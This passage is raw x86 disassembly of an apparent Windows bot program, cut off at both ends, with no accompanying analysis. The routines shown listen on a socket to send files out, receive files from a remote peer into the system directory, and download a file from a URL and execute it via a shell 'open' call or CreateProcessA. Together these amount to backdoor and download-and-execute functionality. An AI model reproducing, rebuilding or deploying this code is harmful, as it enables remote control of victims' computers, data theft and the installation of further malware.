		jnz	short loc_40C3E6
		lea	eax, [ebp+Dst]
		push	offset dword_42D0D4 ; Format
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C9
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_40D670
		add	esp, 14h


loc_40C3C9:				; CODE XREF: sub_40C353+59j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_10]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_40C3E6:				; CODE XREF: sub_40C353+3Fj
		push	offset byte_4397BC
		push	ebx
		call	sub_40B567
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C451
		lea	eax, [ebp+Dst]
		push	offset dword_42D094 ; Format
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42D
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_40D670
		add	esp, 14h


loc_40C42D:				; CODE XREF: sub_40C353+BDj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_10]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_40C451:				; CODE XREF: sub_40C353+A3j
		push	64h
		call	ds:dword_423060	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_40C460:				; CODE XREF: sub_40C353+168j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		test	eax, eax
		jle	short loc_40C4BD
		lea	eax, [ebp+Dst]
		push	offset asc_429660 ; "\n"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_40B353
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BD
		push	64h
		call	ds:dword_423060	; Sleep
		push	7
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jnz	short loc_40C460


loc_40C4BD:				; CODE XREF: sub_40C353+130j
					; sub_40C353+154j
		lea	eax, [ebp+Dst]
		push	offset dword_42D050 ; Format
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4F0
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_40D670
		add	esp, 14h


loc_40C4F0:				; CODE XREF: sub_40C353+180j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		pop	ecx
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_10]
		call	sub_417064
		pop	ecx
		push	edi
		call	ds:dword_423050
sub_40C353	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C514	proc near		; DATA XREF: sub_40EE51+4A6Eo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
Dest		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
Str		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dst		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	ds:dword_43C698	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C562
		push	offset dword_42D258
		jmp	loc_40C71B
; ---------------------------------------------------------------------------


loc_40C562:				; CODE XREF: sub_40C514+42j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	ds:dword_43C618	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	ds:dword_43C644	; bind
		test	eax, eax
		jz	short loc_40C5A0
		push	offset dword_42D224
		jmp	loc_40C71B
; ---------------------------------------------------------------------------


loc_40C5A0:				; CODE XREF: sub_40C514+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	ds:dword_43C5BC	; getsockname
		push	[ebp+var_2E]
		call	ds:dword_43C554	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		mov	[ebp+arg_0], esi
		call	_strlen
		pop	ecx


loc_40C5D2:				; CODE XREF: sub_40C514+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+Str]
		cmp	al, 20h
		jnz	short loc_40C5E5
		push	5Fh
		pop	eax
		jmp	short loc_40C5E8
; ---------------------------------------------------------------------------


loc_40C5E5:				; CODE XREF: sub_40C514+CAj
		movsx	eax, al


loc_40C5E8:				; CODE XREF: sub_40C514+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+Str]
		inc	ecx
		push	eax		; Str
		mov	[ebp+arg_0], ecx
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D2
		push	ebx
		push	edi
		call	ds:dword_43C640	; listen
		test	eax, eax
		jz	short loc_40C61B
		push	offset dword_42D0D4
		jmp	loc_40C71B
; ---------------------------------------------------------------------------


loc_40C61B:				; CODE XREF: sub_40C514+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+Str]
		push	80000000h
		push	eax
		call	ds:dword_423080
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C645
		push	offset dword_42D1F4
		jmp	loc_40C71B
; ---------------------------------------------------------------------------


loc_40C645:				; CODE XREF: sub_40C514+125j
		push	esi
		push	eax
		call	ds:dword_4230A0
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEDB
		pop	ecx
		push	eax
		call	ds:dword_43C658	; inet_addr
		push	eax
		call	ds:dword_43C614	; htonl
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42D1DC ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_40D670
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	ds:dword_43C600	; select
		test	eax, eax
		jg	short loc_40C6F5
		push	esi		; int
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]	; int
		push	offset dword_42D1B4 ; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_40D670
		jmp	loc_40C819
; ---------------------------------------------------------------------------


loc_40C6F5:				; CODE XREF: sub_40C514+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	ds:dword_43C6AC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72E
		push	offset dword_42D180 ; Format


loc_40C71B:				; CODE XREF: sub_40C514+49j
					; sub_40C514+87j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40C81C
; ---------------------------------------------------------------------------


loc_40C72E:				; CODE XREF: sub_40C514+200j
		push	edi
		call	ds:dword_43C6B0	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40C7E0
		mov	edi, 400h


loc_40C743:				; CODE XREF: sub_40C514+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C750
		mov	[ebp+var_4], eax


loc_40C750:				; CODE XREF: sub_40C514+237j
		push	edi		; Size
		lea	eax, [ebp+var_A04]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4230BC
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_423070
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	ds:dword_43C668	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	ds:dword_43C630	; recv
		cmp	eax, ebx
		jl	loc_40C875
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C875
		sub	[ebp+arg_0], eax
		jnz	loc_40C743
		mov	edi, [ebp+var_18]


loc_40C7E0:				; CODE XREF: sub_40C514+224j
		push	[ebp+var_8]
		call	ds:dword_423074
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_44]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42D130 ; Format
		push	eax		; Dest
		call	_sprintf


loc_40C819:				; CODE XREF: sub_40C514+1DCj
		add	esp, 14h


loc_40C81C:				; CODE XREF: sub_40C514+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C841
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_54]	; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_40D670
		add	esp, 14h


loc_40C841:				; CODE XREF: sub_40C514+30Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C859
		push	edi
		call	ds:dword_43C6B0	; closesocket


loc_40C859:				; CODE XREF: sub_40C514+33Cj
		push	[ebp+var_1F8]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_58]
		call	sub_417064
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_40C875:				; CODE XREF: sub_40C514+2AFj
					; sub_40C514+2BAj
		push	esi		; int
		mov	esi, offset dword_42D108
		push	[ebp+var_54]	; int
		lea	eax, [ebp+var_DC]
		push	esi		; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_40D670
		push	esi
		call	sub_40BF6F
		add	esp, 18h
		push	[ebp+var_1F8]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_58]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050
sub_40C514	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B6	proc near		; DATA XREF: sub_40EE51+7B7o

Dst		= byte ptr -14C4h
var_4C4		= dword	ptr -4C4h
Filename	= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_423064	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSS_2	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Filename]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_423080
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C940
		push	offset dword_42D350
		jmp	short loc_40C986
; ---------------------------------------------------------------------------


loc_40C940:				; CODE XREF: sub_40C8B6+81j
		push	eax
		call	ds:dword_423074
		lea	eax, [ebp+Filename]
		push	offset aAB	; "a+b"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_40C968
		push	offset dword_42D310
		jmp	short loc_40C986
; ---------------------------------------------------------------------------


loc_40C968:				; CODE XREF: sub_40C8B6+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C999
		push	offset dword_42D2E0 ; Format


loc_40C986:				; CODE XREF: sub_40C8B6+88j
					; sub_40C8B6+B0j
		lea	eax, [ebp+var_4C4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------


loc_40C999:				; CODE XREF: sub_40C8B6+C9j
		mov	esi, 1000h


loc_40C99E:				; CODE XREF: sub_40C8B6+14Ej
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C630	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA65
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA06
		push	[ebp+File]	; File
		lea	eax, [ebp+Dst]
		push	edi		; Count
		push	1		; Size
		push	eax		; Str
		call	_fwrite
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	ds:dword_43C614	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		jmp	short loc_40C99E
; ---------------------------------------------------------------------------


loc_40CA06:				; CODE XREF: sub_40C8B6+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42D108 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_40D670
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6F
		push	[ebp+File]	; File
		call	_fclose
		add	esp, 24h
		push	[ebp+arg_0]
		call	ds:dword_43C6B0	; closesocket
		push	[ebp+var_1C]
		call	sub_417064
		pop	ecx
		push	1
		call	ds:dword_423050


loc_40CA65:				; CODE XREF: sub_40C8B6+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42D28C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch


loc_40CA93:				; CODE XREF: sub_40C8B6+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx		; int
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_40D670
		add	esp, 14h


loc_40CAB8:				; CODE XREF: sub_40C8B6+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6F
		cmp	[ebp+File], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+File]	; File
		call	_fclose
		pop	ecx


loc_40CAD3:				; CODE XREF: sub_40C8B6+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	ds:dword_43C6B0	; closesocket


loc_40CAE1:				; CODE XREF: sub_40C8B6+220j
		push	[ebp+var_1C]
		call	sub_417064
		pop	ecx
		push	ebx
		call	ds:dword_423050
sub_40C8B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE51+382Fo
					; sub_40EE51+3F6Eo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
Dst		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
Str		= byte ptr -2C8h
var_248		= byte ptr -248h
Filename	= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
Memory		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	ds:dword_43C5C8
		call	ds:dword_43C528	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	40000000h
		push	eax
		call	ds:dword_423080
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_42D5E4 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_40D670
		add	esp, 14h


loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_48]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		call	ds:dword_423054	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx		; Size
		call	_malloc
		pop	ecx
		mov	[ebp+Memory], eax


loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+Dst]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	ds:dword_43C530	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx


loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_423078
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]


loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		mov	eax, [ebp+Memory]
		add	eax, edi
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch


loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB


loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42D59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------


loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42D55C ; Format


loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_441E70
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2


loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+Dst]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42D518 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_40D670
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		add	esp, 28h


loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		call	ds:dword_423054	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_423074
		push	[ebp+Memory]	; Memory
		call	_free
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		call	sub_40C25B
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_42D4E0 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_40D670
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		add	esp, 28h


loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_423690
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_423690
		fstp	[esp+590h+var_590]
		push	offset unk_42D498 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_40D670
		add	esp, 14h


loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_43C58C
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_42D464 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_40D670
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_423690
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_423690
		fstp	[esp+590h+var_590]
		push	offset unk_42D414 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_40D670
		add	esp, 14h


loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		push	10h		; Size
		lea	eax, [ebp+var_10]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_4397BC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	ds:dword_423120	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	ds:dword_43C578	; WSACleanup
		call	sub_40AC3D
		push	esi
		call	ds:dword_42314C


loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+Filename]
		push	eax
		push	offset unk_42D3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------


loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42D390 ; Format


loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
